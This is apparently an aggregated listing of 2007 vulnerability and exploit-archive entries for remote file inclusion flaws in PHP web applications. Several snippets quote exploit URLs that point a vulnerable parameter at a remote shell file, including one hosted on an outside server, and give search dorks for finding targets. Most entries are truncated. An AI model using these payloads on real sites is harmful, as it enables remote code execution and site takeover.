CVE-2007-2456: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in FireFly 1.1.01 allow remote attackers to execute arbitrary PHP code via a URL in the docroot parameter to 1 localize.php or 2 config.php in modules/admin/include/...

WordPress Plugin wp-Table 1.43 - inc_dir Remote File Inclusion

WordPress Plugin wp-Table 1.43 - incdir Remote File Inclusion \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV82$2007 ----------------------------------------------------------------------------------------- ECHOADV82$2007 wordpress plugins wp-Table = 1.43...

PT-2007-3744 · Sphider · Sphider

Name of the Vulnerable Software and Affected Versions: Sphider versions 1.2.x Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the include dir parameter in the index.php file. A third party disputes this issue, stating that the application is not vulnerabl...

GPB bulletin board Remote file include

GPB bulletin board Remote file include Download script : http://gpb.sourceforge.net/download/archive/gpb-unstable-2001.11.14-1.tar.gz D0rk : Download Script and install it in ur machine Exploit : http://localhost/gpbpath/themes/ubb/login.php?theme=shell.txt?...

burnCMS <= 0.2(root)Remote File Include Vulnerablities

burnCMS = 0.2rootRemote File Include Vulnerablities D.Script: http://www.burnstone.ch/downloads/burnCMS-0.2.zip Discovered by: GolDM = Mahmoodali Homepage: http://www.Tryag.cc Exploit:PathburnCMS/lib/authuser.php?root=Shell Exploit:PathburnCMS/lib/misc.php?root=Shell...

PT-2007-3691 · B2Evolution · B2Evolution

Name of the Vulnerable Software and Affected Versions: b2evolution affected versions not specified Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in several parameters, including the inc path parameter to various PHP files in the blogs directory, the view...

AWBS v2.4.0 Remote file include[cart2.php]

AWBS v2.4.0 Remote file includecart2.php Demo : http://www.awbs.com/demo.php D0rk : nurl:awbs.php Home Page: Www.SiberAktif.Net Exploit http://localhost/gpbpath/docs/front-end-demo/cart2.php?workdir=http://sh3ll.com/for.txt? Discovered by : DamaR [email protected] milw0rm.com 2007-04-24...

Supasite v1.23b <= Multiple Remote File Include Vulnerablitiy

Supasite v1.23b = Multiple Remote File Include Vulnerablitiy D.Script: http://belnet.dl.sourceforge.net/sourceforge/supasite/supasite1.23b.tar.gz Discovered by: GolDM = Mahmoodali Homepage: http://www.Tryag.cc Exploit:Path/supasite/commonfunctions.php?supadbpath=Shell...

myGallery 1.2.1(myPath)Remote File Include Vulnerablity

AAAAAAAAA AAAAAAAA AAA AAA AAA AAAAAAAA AAAAAAAAA AAAAAAAAA AAA AAA AAAAA AAAAAAAAAA AAA AAA AAA AAA AAA AAAAAAA AAA AAA AAAAAAAAA AAAAA AAA AAA AAA AAAAA AAA AAAAAAAA AAA AAA AAA AAA AAAAA AAA AAA AAA AAA AAAAAAAAA AAA AAA AAA AAA AAA AAA AAA AAA AAAAAAAAAA AAA AAA AAA AAA AAA AAA AAAAAAAA...

firefly 1.1.01 <= Remote File Include Vulnerablitiy

firefly 1.1.01 = Remote File Include Vulnerablitiy D.Script: http://fresh.t-systems-sfr.com/unix/src/privat2/firefly-1.1.01.tar.gz Discovered by: Alkomandoz Hacker Homepage: asb-may.net & mohandko.com & sniper-sa.com & Tryag.com ====================================...

Sphider Version 1.2.x (include_dir) file include

Sphider Version 1.2.x includedir remote file include script Vendor: http://cs.ioc.ee/ando/sphider/ Discovered by: IbnuSina found on index.php $includedir = "./include"; --- no patch here $languagedir = "./languages"; include "$includedir/indexheader.inc"; include "$includedir/conf.php"; include...

The Merchant <= 2.2.0 (index.php show) Remote File Inclusion Exploit

No description provided by source. html head meta http-equiv="Content-Type" content="text/html; charset=windows-1254" title2005-2006 The Merchant Project Remote File Include Exploit/title script language="JavaScript"...

sunshop v4 >> RFI

vendor : turnkeywebtools.com by : s3rv3rhack3r [email protected] bugz: ++++++++++++++++++++ include/payment/payflowpro.php include $abspath."/include/payment/payflowpro/pfpro.class.php"; ++++++++++++++++++++ global.php requireonce $abspath."/libsecure.php"; ++++++++++++++++++++ libsecure.php inclu...

VirtuaNews.Pro.v1.0.3.Retail.+All.Plugins Remote file Include

VirtuaNews.Pro.v1.0.3.Retail.+All.Plugins Remote file Include DownloasScript: http://www.virtuanews.co.uk Affected Software .: VirtuaNews.Pro.v1.0.3.Retail.+All.Plugins Download..: http://www.virtuanews.co.uk Risk ..............: high Date .........: 25/4/2007 Found by ..........: s433donlylinux...

Immunity Canvas: PHPORACLE_INCLUDE

Name| phporacleinclude ---|--- CVE| CVE-2007-2340 Exploit Pack| CANVAS Description| phporacle remote file include Notes| CVE Name: CVE-2007-2340 VENDOR: webxadmin.free.fr Repeatability: Infinite References: http://milw0rm.com/exploits/3803 CVE Url:...

burnCMS <= 0.2 (root) Remote File Inclusion Vulnerabilities

Exploit for unknown platform in category web applications =========================================================== burnCMS = 0.2 root Remote File Inclusion Vulnerabilities =========================================================== burnCMS = 0.2rootRemote File Include Vulnerablities D.Script:...

CVE-2007-2236

footer.php in PunBB 1.2.14 and earlier allows remote attackers to include local files in include/user/ via a cross-site scripting XSS attack, or via the puninclude tag, as demonstrated by use of adminoptions.php to execute PHP code from an uploaded avatar file...

CVE-2007-2249: Undefined Security Weakness

include/controlcenter/users.php in Phorum before 5.1.22 allows remote authenticated moderators to gain privileges via a modified 1 userids POST parameter or 2 userdata array...

HYIP Manager Pro Script &gt;&gt; Remote file Include

vendor : www.goldcoders.com BY : www.hackerz.ir userz,ali filez ---- inc/libs/Smarty.class.php inc/libs/SmartyCompiler.class.php inc/libs/core/core.displaydebugconsole.php inc/libs/core/core.loadplugins.php inc/libs/core/core.loadresourceplugin.php inc/libs/core/core.processcachedinserts.php...

HYIP Manager Pro - Multiple Remote File Inclusions

HYIP Manager Pro - Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/23663/info HYIP Manager Pro is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromi...